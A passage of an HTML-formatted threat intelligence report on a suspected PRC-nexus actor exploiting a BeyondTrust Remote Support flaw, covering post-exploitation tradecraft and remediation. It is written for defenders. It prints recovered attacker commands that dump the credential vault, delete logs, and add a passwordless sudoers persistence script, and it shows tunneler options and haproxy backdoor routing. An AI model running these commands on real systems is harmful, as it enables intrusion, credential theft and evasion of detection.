baseline;"&gt;blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Post-Exploitation&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Following the successful exploitation of CVE-2026-102764, Mandiant observed ARMORY CASTLE leverage multiple distinct TTPs to establish a foothold, escalate privileges, and enable lateral movement. Throughout the intrusion, ARMORY CASTLE leveraged a deep understanding of BeyondTrust appliance internals, as evidenced by their abuse of proprietary CLI utilities, startup configuration templates and local reverse-proxy routing. The threat actor used newly identified custom malware, the SAWFLY webshell and the BARECLAW tunneler to interact with the BeyondTrust device. Additionally, the actor routinely deleted appliance logs and endpoint artifacts to maintain access and evade detection.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_ARMORY_CASTLE_BeyondTrust_comprom.max-1000x1000.jpg"
        
          alt="ARMORY CASTLE BeyondTrust compromise sequence of events"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="w261q"&gt;Figure 1: ARMORY CASTLE BeyondTrust compromise sequence of events&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Staging Webshell&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;After successful exploitation of CVE-2026-102764, ARMORY CASTLE initiated POST requests to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/app_84304470%2Ephp&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. Mandiant was unable to recover the file associated with the POST requests. Approximately 11 minutes following the initial POST request, the file system recorded the creation of the SAWFLY webshell at the web root path &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. ARMORY CASTLE leveraged the SAWFLY webshell as one of their primary footholds within the environment over the course of the intrusion. &lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;SAWFLY Webshell&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SAWFLY &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;mangoapi.php&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;)&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; is an obfuscated, lightweight PHP webshell that implements bidirectional encrypted C2 communication using a custom Base32 transport layer and a 256-bit RC4 stream cipher. The webshell inspects incoming HTTP POST requests for the obfuscated parameter &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;_c94mfe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If the parameter is absent, the script immediately sets HTTP status 404 Not Found (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;http_response_code(404)&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) and exits to evade automated web crawlers and vulnerability scanners. When the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;_c94mfe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; parameter is supplied, the webshell Base32-decodes the payload, decrypts it using RC4 with a hardcoded 32-byte key and executes the resulting PHP code via &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@eval()&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. Any non-null return value from the evaluated code is RC4-encrypted with the same key, Base32-encoded, and echoed back to the client. &lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Privilege Escalation via SUID Bit Permissions&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The SAWFLY webshell ran under the site's service account, an unprivileged local user. To escalate privileges, the threat actor copied the system shell executable (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/bin/sh&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) to the file &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/usr/bin/dbus-authd&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The threat actor then modified the file's ownership to root and enabled Set User ID (SUID) permissions. When a binary has SUID permissions enabled, it executes with the privileges of the file's owner (root) rather than the user running the command, effectively granting the threat actor a persistent root-level backdoor on the host system.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;After establishing a foothold through the web shell, the actor elevated from the web service account to root-level control of the appliance host. This gave them access to every credential the appliance stored or brokered and the ability to modify files that survive reboot and configuration reset.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Credential Harvesting: BeyondTrust Vault Extraction&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant observed the threat actor attempt to harvest credentials directly from the appliance's native secrets management database. To achieve this, the actor leveraged the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/sbin/bt-secrets&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; binary which is a proprietary, administrative Command Line Interface (CLI) utility native to BeyondTrust appliances used to manage, store, and retrieve passwords, API keys, and endpoint credentials.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The threat actor systematically iterated through several CLI syntax variations to locate and dump the appliance's credential vault:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 2: Recovered Commands from message logs&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;First, the threat actor attempted to target the vault for a specific site service account in order to pull passwords and keys assigned exclusively to that profile.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, they issued a fallback command, targeting the global, appliance-level password safe to dump all stored administrative credentials.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The threat actor concluded their interaction with the bt-secrets binary by forcibly removing the records stored i&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;n&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/home/bomgar/log/bt-secrets.log&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and any archived files.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2&amp;gt;/dev/null;'&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 3: Recovered Commands from message logs&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Persistence&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For long-term persistent access, Mandiant observed the threat actor target the BeyondTrust configuration templates to grant passwordless root privileges to the site service account.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;First, the threat actor created the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/home/bomgar/sbin/post_boot.d&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; directory, which is reserved for scripts executed automatically at system startup. Within this directory, they created a shell script named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;zz-root-persist&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The contents of the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;zz-root-persist&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; script indicate that it first checks if the user account is already granted passwordless root privileges within the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/config/sudoers.template&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; file. If the entry is missing, the script appends&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt; &lt;/code&gt;&lt;code style="vertical-align: baseline;"&gt;'%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL'&lt;/code&gt;&lt;code style="vertical-align: baseline;"&gt; &lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;to the template. This entry added  to the sudoers template grants the site user account passwordless administrative privileges to execute any command on the host system.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Finally, the script executes&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt; &lt;/code&gt;&lt;code style="vertical-align: baseline;"&gt;'/ns/sbin/bt-sysconfig' --no-restart misc&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, which forces the appliance backend to immediately parse &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/config/sudoers.template&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and rebuild the active &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/etc/sudoers&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; file. This strategy ensures the threat actor's privilege escalation survives system reboots and configuration resets, which would normally overwrite manual changes made directly to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/etc/sudoers&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' &amp;gt;&amp;gt; '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt; Figure 4: Contents of zz-root-persist&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Anti-Forensics&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Throughout their unauthorized access to the appliance, Mandiant observed multiple instances where the threat actor attempted to impair defenses and hinder detection by systematically deleting system, web server, and application-level logs.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Originating from the SAWFLY webshell, the threat actor executed the following command using elevated sudo privileges to delete active logs across both host and site-specific directories:&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class="language-markup"&gt;&lt;code&gt;'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 5: Recovered Command&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Lateral Movement: BeyondTrust Admin Session Abuse&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;After the compromise of the BeyondTrust device, the threat actor pivoted into the BeyondTrust Remote Support application to perform reconnaissance via compromised Administrator credentials. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;First, the threat actor leveraged the Administrator account to log into the web administrative portal.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;{
  "event": "login",
  "status": "success",
  "target": "web/login",
  "who": "[REDACTED_USERNAME] using password",
  "who_ip": "[REDACTED_IP]"
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 6: BeyondTrust Syslog Entry&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;After testing their initial access and verifying their ability to temporarily join the native Administrators group policy, the threat actor altered their strategy for long-term persistence. The actor directly modified the compromised account's permissions, upgrading both local Jump Items and Team permissions from &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;No Access&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Administrator&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. Jump Items are individual systems or devices that are made available for remote access within a Jump Group, enabling administrators to organize and control access to remote systems. This configuration change granted the threat actor permanent, unrestricted authorization to launch remote sessions to downstream systems populated within the appliance's Jump Item list.&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;{
  "event": "user_changed",
  "old_username": "[REDACTED]",
  "old_permissions:jump_item_role:default:id": 1,
  "new_permissions:jump_item_role:default:id": 3,
  "old_permissions:jump_item_role:default:name": "No Access",
  "new_permissions:jump_item_role:default:name": "Administrator",
  "old_permissions:jump_item_role:teams:id": 1,
  "new_permissions:jump_item_role:teams:id": 3,
  "old_permissions:jump_item_role:teams:name": "No Access",
  "new_permissions:jump_item_role:teams:name": "Administrator"
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Figure 7: BeyondTrust Syslog Entry&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Internal Reconnaissance&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Once the threat actor obtained elevated administrative privileges, Mandiant observed the threat actor establish a remote support session to target internal endpoints.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Once connected, the threat actor leveraged the appliance’s built-in support tools to request and obtain full file-system access. The threat actor utilized the native BeyondTrust Remote Support file transfer service to download and exfiltrate sensitive internal documents useful for network reconnaissance, such as software inventories, directly from the user's desktop environment. &lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;BARECLAW Tunneler&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant observed the threat actor tunnel traffic through the BeyondTrust device via a custom SOCKS5 proxy tunneler. BARECLAW is a tunneler written in C that provides a SOCKS5 proxy service carried over the WebSocket transport and relays TCP connections between a remote client and destinations. BARECLAW statically embeds a CivetWeb WebServer to supply its HTTP and WebSocket functionality and utilizes OpenSSL for TLS. BARECLAW is configurable and provides the option to require authentication, to encrypt data between the client and tunneler, to restrict reachable destinations to specific CIDR ranges, to chain traffic to an upstream proxy, and to modify its default WebSocket endpoint and listening ports. TLS is enabled by providing a PEM certificate while authentication, encryption, destination filtering, and TLS are disabled by default. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BARECLAW receives its configuration through CLI input and it provides a CLI option menu:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;Usage: %s [options]
  --listen PORT            plain ws port (default 8080)
  --listen-tls PORT        wss port (default 8443, needs --ssl-cert)
  --ssl-cert FILE          PEM certificate (enables wss)
  --token STRING           shared secret (?token= auth + obfs seed)
  --obfs                   enable XOR stream obfuscation
  --timeout SEC            idle timeout (default 300)
  --connect-timeout SEC    target connect timeout (default 10)
  --max-tunnels N          concurrent tunnel limit (default 100)
  --allow-net CIDR         allowed target subnet (repeatable)
  --upstream [socks5://]host:port   route via upstream SOCKS5
  --threads N              civetweb worker threads (default 64)
  --ws-path PATH           websocket endpoint path (default /wsproxy)
  -q, --quiet              zero output (all logging suppressed)
  -h                       this help
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 8: BARECLAW CLI Option Menu&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="vertical-align: baseline;"&gt;The threat actor executed BARECLAW through the following command line arguments:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 9: BARECLAW full Command-Line Arguments&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This command line configures BARECLAW to listen on TCP port 19800 and create the WebSocket endpoint &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/uidchanarge&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; on the victim system. Clients are required to authenticate using the token specified in the command line arguments while the -q argument suppresses the tunneler’s logging. Tunneled data is encrypted with an XOR-based routine derived from that token and an 8-byte value provided by the client at the start of the session. The lack of the --ssl-cert and --listen-tls arguments in the CLI options means TLS was not enabled in this specific instance.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Modifications to Haproxy.conf&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In addition to the creation of the BARECLAW tunneler, Mandiant observed the threat actor modify the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/config/haproxy.conf&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; file in order for BARECLAW to be accessible directly from the internet. The HAProxy service running on BeyondTrust devices acts a reverse proxy for the device that accepts incoming requests on behalf of the BeyondTrust server and forwards the request to the appropriate backend services running on the local system (such as web interfaces, administration portals, or application gateways) based on the request's port or URL path. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The &lt;code style="vertical-align: baseline;"&gt;haproxy.conf&lt;/code&gt; &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;file is the primary configuration script that dictates how the BeyondTrust appliance handles, routes, and secures incoming traffic. The threat actor modifications first established an Access Control List (ACL) named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;wswsws&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to monitor incoming traffic for the specific URI path &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/uidchanarge&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. When a request matching this path is detected, HAProxy bypasses normal appliance web services and routes the traffic to a custom backend &lt;span style="vertical-align: baseline;"&gt;designated as &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;webskd3&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;    acl wswsws path /uidchanarge
    use_backend webskd3 if wswsws
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;Figure 10: ACL Modification to haproxy.conf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;webskd3&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; backend routes the incoming web stream locally (127.0.0.1 / localhost) to TCP port 19800, where the BARECLAW utility is actively listening. This local-only binding ensures that the backdoor listener remains completely hidden from external network scans, as it can only be reached internally via HAProxy's local redirection.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;backend webskd3
    mode http
    server websocks5srv 127.0.0.1:19800
    option http-keep-alive
    timeout server 28s
    timeout tunnel 5h
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 11: Backend Route Modification to haproxy.conf&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Attribution&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG attributes the zero-day exploitation of CVE-2026-102764 and the subsequent deployment of SAWFLY and BARECLAW to the suspected PRC-nexus espionage actor ARMORY CASTLE (formerly tracked as UNC5221). The tooling and TTPs leveraged within this intrusion align with previously observed activity from ARMORY CASTLE.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG has &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-exploiting-critical-ivanti-vulnerability?e=0"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;previously reported&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; ARMORY CASTLE exploiting multiple vulnerabilities in edge appliances and deploying an extensive suite of custom tooling to support their objectives, ranging from passive backdoors and webshells to trojanized components of edge devices. ARMORY CASTLE has been active as early as October 2023 and has targeted a wide range of countries and verticals during their operations. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Outlook and Implications&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In past campaigns, ARMORY CASTLE has conducted widespread and opportunistic exploitation following the public disclosure of vulnerabilities it had exploited selectively as zero-days, racing to infiltrate target organizations before patches are deployed. It is possible that we will observe similar widespread exploitation attempts associated with CVE-2026-102764. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG assesses with high confidence that ARMORY CASTLE will continue to leverage zero-day vulnerabilities in edge devices to gain access to environments to support their espionage objective. Defenders should also prepare for the possibility that following disclosure of CVE-2026-102764, ARMORY CASTLE may conduct widespread exploitation similar to what GTIG &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;observed&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; in 2024 following the disclosure of CVE-2023-46805 and CVE-2024-21887. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Remediation and Hardening&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Organizations that have not yet applied the &lt;/span&gt;&lt;a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BT26-05 patch&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; should immediately assess their exposure and risk, and review additional guidance from BeyondTrust in their &lt;/span&gt;&lt;a href="https://www.beyondtrust.com/blog/entry/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. CVE-2026-102764 affects all supported Remote Support versions up to 26.2.3 and allows an unauthenticated remote attacker to perform file operations on the appliance, which can lead to host-level control and access to every credential the appliance stores or brokers. Any appliance that was reachable from the internet on a vulnerable version during the exploitation window should be treated as potentially compromised until it has been reviewed. Mandiant recommends a phased, patch-first approach that balances containment against disruption to support operations.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Immediate Mitigation&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Organizations should choose among the following options based on their risk tolerance, evidence of compromise, and operational needs.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Option 1: Apply the BT26-05 Patch (Mandiant Recommended)&lt;/span&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Remote Support SaaS&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: BeyondTrust applied the patch to all SaaS tenants on October 9, 2026. No customer action is required for the appliance itself. The credential and configuration steps in Option 3 still apply.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Self-hosted, version 24.3.1 or later&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Apply the BT26-05-RS patch from the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/appliance&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; interface, or confirm it was applied automatically if the appliance is subscribed to automatic updates.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Self-hosted, older than 24.3.1&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Upgrade to a supported version, then apply the patch. Upgrading closes the vulnerability but does not remediate prior exposure.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
